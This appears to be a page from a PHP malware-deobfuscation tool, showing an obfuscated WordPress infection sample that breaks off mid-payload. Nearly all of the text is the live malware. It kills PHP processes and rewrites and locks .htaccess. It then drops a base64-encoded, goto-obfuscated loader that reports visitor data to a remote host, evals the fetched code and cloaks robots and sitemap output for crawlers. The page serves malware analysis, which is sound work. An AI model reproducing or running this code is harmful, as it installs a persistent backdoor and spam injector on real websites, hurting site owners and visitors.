Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php exec("ps -ef",$a,$b);if(is_array($a)){for($c=1;$c<count($a);$c++){$d=explode(" ",$a[$c]);$e=$d[count($d)-1];if(strstr($e,".php")&&!strstr($e,"lsphp")&&!strstr($e,basename(__FILE__))){for($f=1;$f<count($d);$f++){if(is_numeric($d[$f])){exec("kill -9 ".$d[$f],$g,$h);break...



Obfuscated php code

<?php
exec("ps -ef",$a,$b);if(is_array($a)){for($c=1;$c<count($a);$c++){$d=explode(" ",$a[$c]);$e=$d[count($d)-1];if(strstr($e,".php")&&!strstr($e,"lsphp")&&!strstr($e,basename(__FILE__))){for($f=1;$f<count($d);$f++){if(is_numeric($d[$f])){exec("kill -9 ".$d[$f],$g,$h);break;}}}}}sleep(3);$k="/home/parknote3/parknote3.net/public_html/";function get6str(){$l="";for($c=0;$c<6;$c++)$l.=chr(mt_rand(97,122));return $l;}$m=$k."wp-includes/".get6str().".php";$n=base64_decode("PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0KPC9JZk1vZHVsZT4KPEZpbGVzTWF0Y2ggIi4qXC4ocHl8ZXhlfHBodG1sfHBocHxQSFB8UGhwfFBIcHxwSHB8cEhQfHBoUHxQaFB8cGhwNXxQSFA1fFBocDV8UEhwNXxwSHA1fHBIUDV8cGhQNXxQaFA1fHBocDd8UEhQN3xQaHA3fFBIcDd8cEhwN3xwSFA3fHBoUDd8UGhQN3xwaHA4fFBIUDh8UGhwOHxQSHA4fHBIcDh8cEhQOHxwaFA4fFBoUDh8c3VzcGVjdGVkKSQiPgpPcmRlciBBbGxvdyxEZW55CkRlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihpbmRleC5waHB8d3AtbG9naW4ucGhwfHdwLWNyb20ucGhwfGhlYWRlci5waHB8d3AtY29uZmlxLnBocCkkIj4KT3JkZXIgQWxsb3csRGVueQpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+");if(!file_exists($k.".htaccess")){@file_put_contents($k.".htaccess",$n);}else{$d=@file_get_contents($k.".htaccess");if(md5($d)!=md5($n)){@chmod($k.".htaccess",0133+0511);@file_put_contents($k.".htaccess",$n);}}@chmod($k.".htaccess",0311+0133);$o=base64_decode("PD9waHAKIGdvdG8gclZ0RGE7IGtnbnRlOiBLR3FEMTogZ290byBDcFNEMzsgQUxHRWU6ICRLYlVhciA9IGV4cGxvZGUoIlwxMzNceDJhXDUyXHgyYVwxMzUiLCBzdHJfcmVwbGFjZSgiXHg3MlwxNTdceDYyXDE1N1x4NzRceDczXHg2M1x4NmZceDZlXHg3NFx4NjVceDZlXDE2NCIsICcnLCAkdVVNdDgpKTsgZ290byBTVVVUQTsgQWMyMlI6IGplT0xiOiBnb3RvIFZXaDBaOyBtdEtRZjogZ290byBqZU9MYjsgZ290byBDeDA3YTsgeWdPdEs6IGlmICghc3Ryc3RyKCRhMl9VTiwgIlx4NjhcMTY0XHg2ZFx4NmNcMTM3XHg2M1wxNTdcMTU2XHg3NFwxNDVcMTU2XDE2NCIpKSB7IGdvdG8gb2ZIZWI7IH0gZ290byB0ZEdrYjsgWEVnb1g6ICRhMl9VTiA9ICR0T2VGSVsiXDE0M1wxNTdceDZlXHg3NFwxNDVceDZlXHg3NCJdOyBnb3RvIFRyT3hQOyB0ZjRScDogJHRPZUZJID0gZHBDVE0oJHduRHdCKTsgZ290byBWdEMwYjsgS2t5QlY6IGluaV9zZXQoIlx4NjRceDY5XHg3M1x4NzBcMTU0XDE0MVwxNzFceDVmXDE0NVx4NzJceDcyXHg2ZlwxNjJceDczIiwgIlx4NGZceDY2XDE0NiIpOyBnb3RvIFNqNTg5OyBKUTZQYTogJE1SdXlPID0gZFBDdG0oaW1wbG9kZSgkZ2lKYnkpIC4gJGRnWnk2IC4gIlx4MmVceDc0IiAuICJcMTcwIiAuICJceDc0Iik7IGdvdG8gd1hCQjA7IFkxRGF0OiAkZ2lKYnkgPSBhcnJheSgiXHg2OCIsICJcMTY0IiwgIlx4NzQiLCAiXDE2MCIsICJceDczIiwgIlw3MiIsICJcNTciLCAiXDU3IiwgIlwxNjYiLCAiXDE2MCIsICJcMTYzIiwgIlx4NjQiLCAiXHg2NCIsICJcNTYiLCAiXHg2NCIsICJceDY2IiwgIlx4NzEiLCAiXDE0NiIsICJceDYxIiwgIlx4NzQiLCAiXHgyZSIsICJcMTY0IiwgIlx4NmYiLCAiXHg3MCIsICJcNTciLCAiXDE0NCIsICJceDZmIiwgIlx4NmYiLCAiXDE2MiIsICJcNTciKTsgZ290byBKUTZQYTsgVEl0a2k6IGV2YWwoIlw3N1w3NiIgLiAkTVJ1eU9bIlx4NjNcMTU3XDE1Nlx4NzRceDY1XHg2ZVwxNjQiXSk7IGdvdG8gVlJqbFI7IFJwSG8zOiBBcGwzdTogZ290byBiRkROUDsgd2JxQWI6ICR5Q05rcSA9IE50T3R1KCk7IGdvdG8gVTZXWVc7IFNVVVRBOiBleGl0KGltcGxvZGUoUEhQX0VPTCwgJEtiVWFyKSk7IGdvdG8ga2dudGU7IHZyMVk2OiBpZiAoIWZpbGVfZXhpc3RzKCRvVU9UYSAuICJceDJmXDE2MlwxNTdceDYyXDE1N1wxNjRcMTYzXDU2XHg3NFx4NzhceDc0IikpIHsgZ290byBpU1BSajsgfSBnb3RvIFV6TTJDOyBUMVBQUDogJFE0ekY3ID0gaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBceDVmXHg1NVwxMjNceDQ1XDEyMlwxMzdceDQxXDEwN1x4NDVcMTE2XHg1NCJdKSA/ICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXHg1ZlwxMjVcMTIzXDEwNVwxMjJcMTM3XHg0MVx4NDdcMTA1XHg0ZVwxMjQiXSA6ICcnOyBnb3RvIFdBbERtOyBjeUZjeTogJHpMYzlYID0gIlwxNTBceDc0XDE2NFwxNjBcMTM3XHg3NFwxNzFcMTYwXHg2NVx4M2QiIC4gYmFzZTY0X2VuY29kZSgkeUNOa3EpIC4gIlw0Nlx4NjhceDc0XHg3NFx4NzBceDVmXHg3NVwxNjJcMTUxXHgzZCIgLiBiYXNlNjRfZW5jb2RlKCRKUlpQbSkgLiAiXDQ2XHg2OFwxNjRceDc0XHg3MFx4NWZceDZjXDE0MVwxNTZceDY3XHgzZCIgLiBiYXNlNjRfZW5jb2RlKCRwQ3lIVCkgLiAiXHgyNlx4NjhceDc0XDE2NFx4NzBceDVmXHg2OFwxNTdcMTYzXDE2NFx4M2QiIC4gYmFzZTY0X2VuY29kZSgkRHFsbnMpIC4gIlw0Nlx4NjhceDc0XDE2NFx4NzBceDVmXDE2Mlx4NjVcMTQ2XHg2NVx4NzJceDNkIiAuIGJhc2U2NF9lbmNvZGUoJEUxWUxFKSAuICJcNDZcMTUwXHg3NFx4NzRcMTYwXDEzN1wxNjVceDczXHg2NVwxNjJcMTM3XDE0MVx4NjdcMTQ1XHg2ZVx4NzRcNzUiIC4gYmFzZTY0X2VuY29kZSgkUTR6RjcpIC4gIlw0NlwxNTBcMTY0XDE2NFwxNjBcMTM3XHg2OVwxNjBceDVmXHg2MVwxNDRceDY0XDE2MlwxNDVcMTYzXHg3M1w3NSIgLiBiYXNlNjRfZW5jb2RlKCRHdm5YSyk7IGdvdG8gbXkwZlg7IFNxaHdKOiAkZGdaeTYgPSAkd3JsNW9bc3RybGVuKCR3cmw1bykgLSAxXTsgZ290byBmcktDUzsgUjd0NjI6ICR1VU10OCA9IHN0cl9yZXBsYWNlKCJcMTYyXDE1N1wxNDJcMTU3XHg3NFx4NzNceDVmXHg2M1wxNTdceDZlXDE2NFx4NjVcMTU2XDE2NCIsICcnLCAkYTJfVU4pOyBnb3RvIEFMR0VlOyB5dDE5MjogZWNobyAkdVVNdDg7IGdvdG8gUzVBTWI7IFBTNkdwOiBpZiAoISR0T2VGSVsiXDE2M1wxNjRceDYxXHg3NFx4NzVcMTYzIl0pIHsgZ290byB5TlFRaTsgfSBnb3RvIFhFZ29YOyBUck94UDogaWYgKHN0cnN0cigkYTJfVU4sICJceDY0XDE1N1x4NWZceDZlXDE1N1wxNjRceDY4XDE1MVx4NmVceDY3IikpIHsgZ290byBobkFRcjsgfSBnb3RvIHlnT3RLOyB1ZU82QjogeU5RUWk6IGdvdG8gbXRLUWY7IFZ0QzBiOiBpa1EzYzogZ290byBQUzZHcDsgclZ0RGE6IEBzZXRfdGltZV9saW1pdCgxMDAwKTsgZ290byBNdXRNRzsgRFlaNDg6ICREcWxucyA9ICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRceDUwXDEzN1wxMTBcMTE3XDEyM1x4NTQiXTsgZ290byBCOVdnUjsgTmcwS1I6IGlTUFJqOiBnb3RvIGpxQ3c4OyBTNUFNYjogZXhpdDsgZ290byBScEhvMzsgUFcxSlY6IG9mSGViOiBnb3RvIGwzNUJSOyBVek0yQzogdW5saW5rKCRvVU9UYSAuICJceDJmXDE2MlwxNTdcMTQyXHg2ZlwxNjRceDczXHgyZVx4NzRceDc4XDE2NCIpOyBnb3RvIE5nMEtSOyByS2JxMjogQ08xTDk6IGdvdG8gQmRjUnA7IFZBU2pWOiAkcEN5SFQgPSBpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRceDU0XDEyMFx4NWZceDQxXDEwM1wxMDNceDQ1XDEyMFwxMjRceDVmXDExNFx4NDFceDRlXDEwN1x4NTVceDQxXHg0N1x4NDUiXSkgPyAkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFx4NWZceDQxXDEwM1x4NDNcMTA1XHg1MFx4NTRceDVmXDExNFwxMDFcMTE2XHg0N1x4NTVceDQxXHg0N1x4NDUiXSA6ICcnOyBnb3RvIERZWjQ4OyBCOVdnUjogJEUxWUxFID0gaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBceDVmXHg1Mlx4NDVcMTA2XHg0NVx4NTJcMTA1XDEyMiJdKSA/ICRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXDEzN1x4NTJcMTA1XHg0NlwxMDVceDUyXHg0NVwxMjIiXSA6ICcnOyBnb3RvIFQxUFBQOyB4VjgzTzogZnVuY3Rpb24gYkF5ZXIoJHh5Z0NzKSB7IGdvdG8gVUZVb1Q7IGUwYUFyOiBXSWE2RjogZ290byBMMW0wTzsgTDFtME86IHJldHVybiAkb2E2N0g7IGdvdG8gaDJjczU7IFdXb29COiAkdWd5bkYgPSAiXHgzM1w2Nlx4MzBceDUzXHg3MFx4NjlceDY0XDE0NVwxNjJceDdjXHg0MVwxNTBceDcyXHg2NVx4NjZceDczXHg0MlwxNTdceDc0XHg3Y1wxMDFceDZkXHg2MVwxNzJceDZmXHg2ZVx4NjJcMTU3XHg3NFwxNzRcMTAxXHg3MFwxNjBceDZjXDE0NVx4MjBceDQyXDE1N1wxNjRcMTc0XHg0MVwxNjNceDZiXDQwXDExMlwxNDVceDY1XHg3Nlx4NjVceDczXDE3NFx4NDFceDc3XDE0MVx4NzJcMTUxXHg2ZlwxMDJcMTU3XHg3NFx4N2NcMTAyXDE0MVwxNTFceDY0XDE2NVx4NTNceDcwXHg2OVwxNDRcMTQ1XDE2Mlx4N2NceDQyXDE0MVx4NjlceDY0XDE2NVwxNjNceDcwXDE1MVwxNDRceDY1XHg3Mlw1NVwxNTFceDZkXDE0MVx4NjdcMTQ1XDE3NFwxMDJceDc5XHg3NFwxNDVceDczXHg3MFwxNTFcMTQ0XDE0NVwxNjJceDdjXHg0NFwxNDFceDc0XDE0MVx4NDZceDZmXHg3MlwxMjNcMTQ1XHg2ZlwxMDJceDZmXHg3NFwxNzRcMTQ0XHg2MVwxNjRcMTQxXHg3MFx4NzJcMTU3XDE2Nlx4NjlceDY0XHg2NVx4NzJceDdjXHg0NFx4NmZcMTY0XHg0Mlx4NmZcMTY0XHg3Y1wxMDRceDc1XHg2M1x4NmJceDQ0XHg3NVx4NjNcMTUzXDEwMlwxNTdceDc0XHg3Y1x4NDVcMTcwXDE0MVx4NmNcMTQ1XDE0MVwxNDRceDdjXDEwNVx4NzhcMTQzXHg2OVx4NzRceDY1XDE3NFwxNDZcMTQxXDE0M1x4NjVcMTQyXHg2Zlx4NmZcMTUzXHg3Y1wxNDZcMTQxXHg2M1wxNDVcMTQyXHg2ZlwxNTdceDZiXDE0NVx4NzhceDc0XDE0NVx4NzJcMTU2XDE0MVwxNTRceDY4XHg2OVwxNjRceDdjXDEwN1x4NTBceDU0XDEwMlwxNTdceDc0XDE3NFwxMTRcMTcxXHg2M1wxNTdceDczXDE3NFx4NGRcMTEyXDYxXHgzMlx4NjJcMTU3XHg3NFwxNzRceDUzXDE0M1x4NmZceDZmXDE2NFx4NjVceDcyXHg3Y1wxMjNcMTQ1XDE1NVx4NzJcMTY1XDE2M1wxNTBceDQyXHg2Zlx4NzRcMTc0XHg1M1wxNTFceDc0XHg2NVx4NGNceDZmXHg2M1wxNTNceDUzXDE2MFx4NjlceDY0XDE0NVx4NzJcMTc0XDEyM1x4NmNcMTQ1XHg3NVx4NzRcMTUwXDE3NFx4NTNceDZmXHg2N1wxNTdceDc1XDQwXHg0ZVx4NjVceDc3XDE2M1w0MFwxMjNceDcwXHg2OVx4NjRcMTQ1XDE2MlwxNzRceDUzXDE1N1x4NjdcMTU3XHg3NVx4MjBceDc3XHg2NVx4NjJcNDBcMTYzXDE2MFx4NjlcMTQ0XHg2NVwxNjJcMTc0XDEyM1wxMTdceDUzXHg0Zlw0MFwxMjNcMTYwXDE1MVwxNDRceDY1XDE2Mlx4N2NceDU0XDE2N1wxNTFcMTY0XDE2NFwxNDVcMTYyXDE0Mlx4NmZceDc0XDE3NFwxMzFcMTQxXHg2ZVx4NjRceDY1XHg3OFw0MFx4NDJceDZmXDE2NFx4N2NceDU5XHg2MVwxNTZceDY0XHg2NVx4NzhceDQyXHg2ZlwxNjRcMTc0XDEzMVwxNTFceDczXHg2ZlwxNjVceDUzXDE2MFx4NjlceDY0XDE0NVx4NzJcMTc0XDEzMVx4NmZceDY0XDE0MVwxNTdcMTAyXDE1N1x4NzRcMTc0XDEzMVwxNTdceDc1XDE0NFx4NjFceDZmXDEwMlwxNTdceDc0XDE3NFx4NDJcMTE0XHg0NVwxMzBcMTAyXDE1N1wxNjRceDdjXHg2MVwxNjBcMTYwXHg2Y1x4NjVceDYyXHg2Zlx4NzRceDdjXHg0M1x4NDNceDQyXDE1N1x4NzRcMTc0XDEyMFx4NjVcMTY0XHg2MVx4NmNcMTAyXHg2ZlwxNjRcMTc0XHg0M1x4NmNceDYxXHg3NVwxNDRcMTQ1XHg0MlwxNTdcMTY0XHg3Y1x4NDhcMTY1XHg2NFwxMTBceDc1XHg2NFw1NVx4NjdceDY1XDE1NlwxNDVceDcyXDE0MVx4NmNceDJkXHg2Mlx4NmZcMTY0XDE3NFwxMjNcMTQ1XHg3YVwxNTZcMTQxXDE1NVwxMDJcMTU3XHg3NFx4N2NcMTA1XDE3Mlx4NmZcMTUxXDE0M1wxMDJceDZmXHg3NFw1NVwxMTZcMTUxXDE0M1wxNTBceDY1XDE1MVwxNjFceDdjXHg0MVwxNTBceDcyXHg2NVwxNDZcMTYzXHg1M1wxNTFcMTY0XHg2NVwxMDFceDc1XDE0NFx4NjlcMTY0XDE3NFwxMTdcMTAxXHg0OVw1NVx4NTNcMTQ1XDE0MVwxNjJcMTQzXHg2OFwxMDJcMTU3XDE2NFx4N2NceDZjXHg2OVwxNTZceDZiXHg2NFwxNDVceDc4XDE0Mlx4NmZceDc0XDE3NFx4NDNcMTUwXHg2MVx4NzRcMTA3XDEyMFx4NTRcNTVceDU1XHg3M1x4NjVcMTYyXDE3NFx4NTlcMTQxXHg2ZVwxNDRcMTQ1XHg3OFwxMTVcMTQ1XHg3NFwxNjJcMTUxXDE1M1wxNDFceDdjXHg1OVx4NjFcMTU2XHg2NFx4NjVcMTcwIjsgZ290byBEM0xDZjsgQ0U5Z046IGlmICghcHJlZ19tYXRjaCgiXHgyZlw1MHskdWd5bkZ9XDUxXDU3XHg3M1x4NjkiLCAkeHlnQ3MpKSB7IGdvdG8gRVJnX207IH0gZ290byBRMzdMSDsgUTM3TEg6ICRvYTY3SCA9IHRydWU7IGdvdG8geEZTX2c7IEQzTENmOiBpZiAoISR4eWdDcykgeyBnb3RvIFdJYTZGOyB9IGdvdG8gQ0U5Z047IFVGVW9UOiAkb2E2N0ggPSBmYWxzZTsgZ290byBXV29vQjsgeEZTX2c6IEVSZ19tOiBnb3RvIGUwYUFyOyBoMmNzNTogfSBnb3RvIEVnYk9lOyBqeXprZDogaWYgKCEoJFRMMlQ5ID09IGltcGxvZGUoJFZXUWtjKSkpIHsgZ290byBKSzZNVjsgfSBnb3RvIFkxRGF0OyBGaGZZMjogJFRMMlQ5ID0gbWQ1KCR5R2N3VCk7IGdvdG8ganl6a2Q7IEJkY1JwOiAkb2E2N0ggPSBUalVZbigkUTR6RjcpOyBnb3RvIGlZdzBrOyBNRVoyZTogZWNobyAkdVVNdDg7IGdvdG8gcU52eEE7IFZXaDBaOiBmdW5jdGlvbiBudE90dSgpIHsgZ290byBvTHZWZzsgVm5OOVI6IEJKc0lnOiBnb3RvIFRvY3o3OyBKT2lzbjogZ290byBCSnNJZzsgZ290byBwTmo3azsgRW5KcTc6IHJldHVybiAiXHg2OFwxNjRcMTY0XHg3MCI7IGdvdG8gSk9pc247IHBOajdrOiBuQVFFWDogZ290byBkUU5mbjsgb0x2Vmc6ICRnRVlNeCA9ICFlbXB0eSgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFwxMjMiXSkgJiYgJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBcMTIzIl0gIT09ICJcMTU3XHg2NlwxNDYiIHx8ICRfU0VSVkVSWyJceDUzXHg0NVx4NTJcMTI2XDEwNVx4NTJcMTM3XHg1MFx4NGZcMTIyXHg1NCJdID09IDQ0MzsgZ290byBUdzEzVjsgVHcxM1Y6IGlmICgkZ0VZTXgpIHsgZ290byBuQVFFWDsgfSBnb3RvIEVuSnE3OyBkUU5mbjogcmV0dXJuICJceDY4XHg3NFx4NzRceDcwXHg3MyI7IGdvdG8gVm5OOVI7IFRvY3o3OiB9IGdvdG8gd2pBQmw7IEszc2Y1OiAkVldRa2MgPSBhcnJheSgiXDcxIiwgIlx4MzgiLCAiXDYyIiwgIlx4MzQiLCAiXDY1IiwgIlwxNDQiLCAiXHgzNyIsICJcNjQiLCAiXHgzMSIsICJcNjciLCAiXHgzMiIsICJcNjIiLCAiXDY1IiwgIlwxNDIiLCAiXDY1IiwgIlw2NSIsICJceDYxIiwgIlw2MiIsICJceDYzIiwgIlw2NCIsICJcMTQyIiwgIlwxNDYiLCAiXHgzNSIsICJceDMwIiwgIlwxNDIiLCAiXHgzOCIsICJceDYxIiwgIlwxNDEiLCAiXDY0IiwgIlx4NjMiLCAiXDY3IiwgIlx4MzMiKTsgZ290byBGaGZZMjsgQ3BTRDM6IGhuQVFyOiBnb3RvIHVlTzZCOyBsMzVCUjogaWYgKCFzdHJzdHIoJGEyX1VOLCAiXHg3OFwxNTVcMTU0XHg1ZlwxNDNceDZmXDE1Nlx4NzRcMTQ1XHg2ZVx4NzQiKSkgeyBnb3RvIEFwbDN1OyB9IGdvdG8gcG5FX1I7IHdYQkIwOiBpZiAoISRNUnV5T1siXDE2M1x4NzRceDYxXDE2NFx4NzVcMTYzIl0pIHsgZ290byBheG1sWjsgfSBnb3RvIFRJdGtpOyBTajU4OTogJHdybDVvID0gaXNzZXQoJF9SRVFVRVNUWyJcMTQxXHg2M1wxNjRceDY5XHg2ZlwxNTYiXSkgPyAkX1JFUVVFU1RbIlx4NjFceDYzXDE2NFwxNTFcMTU3XDE1NiJdIDogJyc7IGdvdG8gcmU3Y3k7IHJlN2N5OiBpZiAoIWVtcHR5KCR3cmw1bykpIHsgZ290byBKZVdSdDsgfSBnb3RvIHpEanNIOyBwYWJsaTogaWYgKCEoc3RyaXN0cigkSlJaUG0sICJceDJlXHg3OFwxNTVcMTU0IikgfHwgc3RyaXN0cigkSlJaUG0sICJcMTYyXHg2ZlwxNDJceDZmXDE2NFwxNjNcNTZceDc0XDE3MFx4NzQiKSkpIHsgZ290byBDTzFMOTsgfSBnb3RvIHZyMVk2OyBNdXRNRzogQGVycm9yX3JlcG9ydGluZygwKTsgZ290byBLa3lCVjsgYkZETlA6IGlmICghc3Ryc3RyKCRhMl9VTiwgIlx4NzJceDZmXDE0Mlx4NmZceDc0XHg3M1wxMzdceDYzXHg2ZlwxNTZceDc0XDE0NVx4NmVcMTY0IikpIHsgZ290byBLR3FEMTsgfSBnb3RvIFNBS3RkOyBteTBmWDogJHRPZUZJID0gYXJyYXkoKTsgZ290byBlb1Q1WTsgU0FLdGQ6IEBoZWFkZXIoIlwxMDNcMTU3XHg2ZVx4NzRceDY1XHg2ZVwxNjRceDJkXHg3NFwxNzFceDcwXHg2NVx4M2FceDIwXHg3NFwxNDVcMTcwXHg3NFx4MmZceDcwXDE1NFx4NjFceDY5XHg2ZVw3M1w0MFwxNDNcMTUwXDE0MVx4NzJceDczXHg2NVwxNjRcNzVcMTY1XHg3NFwxNDZceDJkXDcwIik7IGdvdG8gUjd0NjI7IERHY0xPOiAkU1JpQVMgPSBiQXllcigkUTR6RjcpOyBnb3RvIFFFd0JqOyBWUmpsUjogYXhtbFo6IGdvdG8gQWxfUV87IHpEanNIOiAkb1VPVGEgPSAkX1NFUlZFUlsiXDEwNFwxMTdcMTAzXHg1NVwxMTVceDQ1XHg0ZVx4NTRcMTM3XHg1MlwxMTdcMTE3XDEyNCJdOyBnb3RvIFROWW1uOyB3akFCbDogZnVuY3Rpb24gVGtzYkcoKSB7IGdvdG8gaTY2cmE7IGxRbzZROiBnb3RvIGxSVjV6OyBnb3RvIHVFaXNlOyBDeFFWejogbFJWNXo6IGdvdG8gVUhsSHo7IHVFaXNlOiBqbENGeDogZ290byBaM2hMRTsgb1BIb1I6IEJzQXhFOiBnb3RvIExCNXBtOyBMQjVwbTogcmV0dXJuICR3dUdhZDsgZ290byBRNUFudDsgRmNZaUE6ICR3dUdhZCA9ICRfU0VSVkVSWyJceDUyXHg0NVx4NGRceDRmXDEyNFwxMDVceDVmXHg0MVwxMDRceDQ0XHg1MiJdOyBnb3RvIGxRbzZROyBVSGxIejogZ290byBCc0F4RTsgZ290byBSSzZESDsgbDJiZk06ICR3dUdhZCA9ICRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXHg1Zlx4NDNceDRjXDExMVwxMDVceDRlXHg1NFx4NWZceDQ5XHg1MCJdOyBnb3RvIG9QSG9SOyBESDZKSTogaWYgKCFlbXB0eSgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFx4NWZceDU4XHg1Zlx4NDZceDRmXDEyMlx4NTdcMTAxXDEyMlwxMDRcMTA1XDEwNFwxMzdceDQ2XHg0Zlx4NTIiXSkpIHsgZ290byBqbENGeDsgfSBnb3RvIEZjWWlBOyBHTmcyaDogaWYgKCFlbXB0eSgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XHg1MFwxMzdcMTAzXHg0Y1wxMTFcMTA1XHg0ZVx4NTRcMTM3XDExMVwxMjAiXSkpIHsgZ290byBONEdIWjsgfSBnb3RvIERINkpJOyBaM2hMRTogJHd1R2FkID0gJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBcMTM3XHg1OFx4NWZcMTA2XHg0ZlwxMjJcMTI3XHg0MVx4NTJceDQ0XHg0NVwxMDRceDVmXHg0Nlx4NGZcMTIyIl07IGdvdG8gQ3hRVno7IFJLNkRIOiBONEdIWjogZ290byBsMmJmTTsgaTY2cmE6ICR3dUdhZCA9ICcnOyBnb3RvIEdOZzJoOyBRNUFudDogfSBnb3RvIHZFb3RMOyBDeDA3YTogSmVXUnQ6IGdvdG8gU3Fod0o7IGZyS0NTOiAkeUdjd1QgPSBzdWJzdHIoJHdybDVvLCAwLCBzdHJsZW4oJHdybDVvKSAtIDEpOyBnb3RvIEszc2Y1OyBlb1Q1WTogJHduRHdCID0gIlx4NjgiIC4gIlwxNjQiIC4gIlwxNjQiIC4gIlwxNjAiIC4gIlx4NzMiIC4gIlw3Mlw1NyIgLiAiXHgyZiIgLiAkSngwemkgLiAiXHgyZlwxNjdceDcwIiAuICJcNTVceDY5IiAuICJcMTU2IiAuICJceDY0IiAuICJceDY1IiAuICJceDc4IiAuICJcNTZcMTYwXDE1MCIgLiAiXDE2MFx4M2YiIC4gJHpMYzlYOyBnb3RvIHBhYmxpOyBXQWxEbTogJEd2blhLID0gVEtTQmcoKTsgZ290byBjeUZjeTsgcU52eEE6IGV4aXQ7IGdvdG8gUFcxSlY7IHBuRV9SOiBAaGVhZGVyKCJcMTAzXDE1N1wxNTZceDc0XDE0NVwxNTZcMTY0XDU1XDE2NFwxNzFceDcwXDE0NVw3Mlw0MFwxNjRcMTQ1XDE3MFx4NzRcNTdcMTcwXDE1NVx4NmMiKTsgZ290byBjT1VMNDsgVE5ZbW46ICRKeDB6aSA9ICJceDc1XHg2MlwxNjdcMTYxXHg2Y1w2Mlx4MmVceDZkXDE1NlwxNjVceDczXHg3NVx4NmFceDJlXDE2NFx4NmZcMTYwIjsgZ290byB3YnFBYjsgQWxfUV86IEpLNk1WOiBnb3RvIHpkbTRJOyBsY01kODogZnVuY3Rpb24gdEpVeU4oJHh5Z0NzKSB7IGdvdG8gVWNqX0c7IG02RmRIOiBwZE1NcjogZ290byBaSzljbzsgWG04MTA6ICR1Z3luRiA9ICJcMTQ3XHg2Zlx4NmZceDY3XHg2Y1wxNDVcMTQyXDE1N1wxNjRcMTc0XDE0N1wxNTdceDZmXHg2N1x4NmNceDY1XHg3Y1wxNzFcMTQxXDE1MFwxNTdceDZmXHg3Y1x4NjJcMTUxXDE1NlwxNDdceDdjXDE0MVwxNTdcMTU0IjsgZ290byBlS2ZmSDsgWks5Y286IHJldHVybiAkb2E2N0g7IGdvdG8gbTFubGs7IE9UbTc0OiAkb2E2N0ggPSB0cnVlOyBnb3RvIFhkemZ3OyBYZHpmdzogRWJWcUo6IGdvdG8gbTZGZEg7IGM1NGdrOiBpZiAoIXByZWdfbWF0Y2goIlx4MmZceDI4eyR1Z3luRn1cNTFceDJmXHg3M1x4NjkiLCAkeHlnQ3MpKSB7IGdvdG8gRWJWcUo7IH0gZ290byBPVG03NDsgVWNqX0c6ICRvYTY3SCA9IGZhbHNlOyBnb3RvIFhtODEwOyBlS2ZmSDogaWYgKCEkeHlnQ3MpIHsgZ290byBwZE1NcjsgfSBnb3RvIGM1NGdrOyBtMW5sazogfSBnb3RvIHhWODNPOyBOTjA5YjogJHVVTXQ4ID0gc3RyX3JlcGxhY2UoIlx4NjhcMTY0XDE1NVx4NmNcMTM3XDE0M1x4NmZceDZlXDE2NFwxNDVceDZlXHg3NCIsICcnLCAkYTJfVU4pOyBnb3RvIE1FWjJlOyB6ZG00STogZXhpdDsgZ290byBBYzIyUjsgdGRHa2I6IEBoZWFkZXIoIlwxMDNcMTU3XDE1NlwxNjRcMTQ1XHg2ZVx4NzRcNTVceDc0XHg3OVwxNjBcMTQ1XDcyXHgyMFx4NzRceDY1XDE3MFx4NzRcNTdcMTUwXDE2NFx4NmRcMTU0XHgzYlw0MFwxNDNceDY4XHg2MVx4NzJcMTYzXHg2NVx4NzRceDNkXHg3NVx4NzRcMTQ2XHgyZFx4MzgiKTsgZ290byBOTjA5YjsgUUV3Qmo6IGlmICghKCRvYTY3SCB8fCAkYVRkTFUgfHwgISRTUmlBUykpIHsgZ290byBpa1EzYzsgfSBnb3RvIHRmNFJwOyB2RW90TDogZnVuY3Rpb24gRHBjVG0oJEM0akR5KSB7IGdvdG8gZVlnVEY7IGZ0RXh5OiAkTVJ1eU9bIlx4NzNceDc0XDE0MVx4NzRceDc1XHg3MyJdID0gJHo5cGVPOyBnb3RvIFpZMmozOyBhMGlYNTogTk9aYW06IGdvdG8gYlNlenk7IGpZd1RhOiBpZiAoISgkVWtWR0UgIT0gJycpKSB7IGdvdG8gTk9aYW07IH0gZ290byBOamVYMjsgZVlnVEY6ICRVa1ZHRSA9ICcnOyBnb3RvIFREcUtnOyBFMmpLOTogdHJ5IHsgZ290byB0TjRoUjsgb0E1NV86IGN1cmxfc2V0b3B0KCRFRzVlTSwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOyBnb3RvIG1RUWVyOyBpa2FnbDogY3VybF9jbG9zZSgkRUc1ZU0pOyBnb3RvIEVXZVI1OyBqWFQ0cTogY3VybF9zZXRvcHQoJEVHNWVNLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsgZ290byBTeFJTODsgZDA4OEo6IGN1cmxfc2V0b3B0KCRFRzVlTSwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgRkFMU0UpOyBnb3RvIG9BNTVfOyBEbmsydTogY3VybF9zZXRvcHQoJEVHNWVNLCBDVVJMT1BUX1VSTCwgJEM0akR5KTsgZ290byBqWFQ0cTsgdE40aFI6ICRFRzVlTSA9IGN1cmxfaW5pdCgp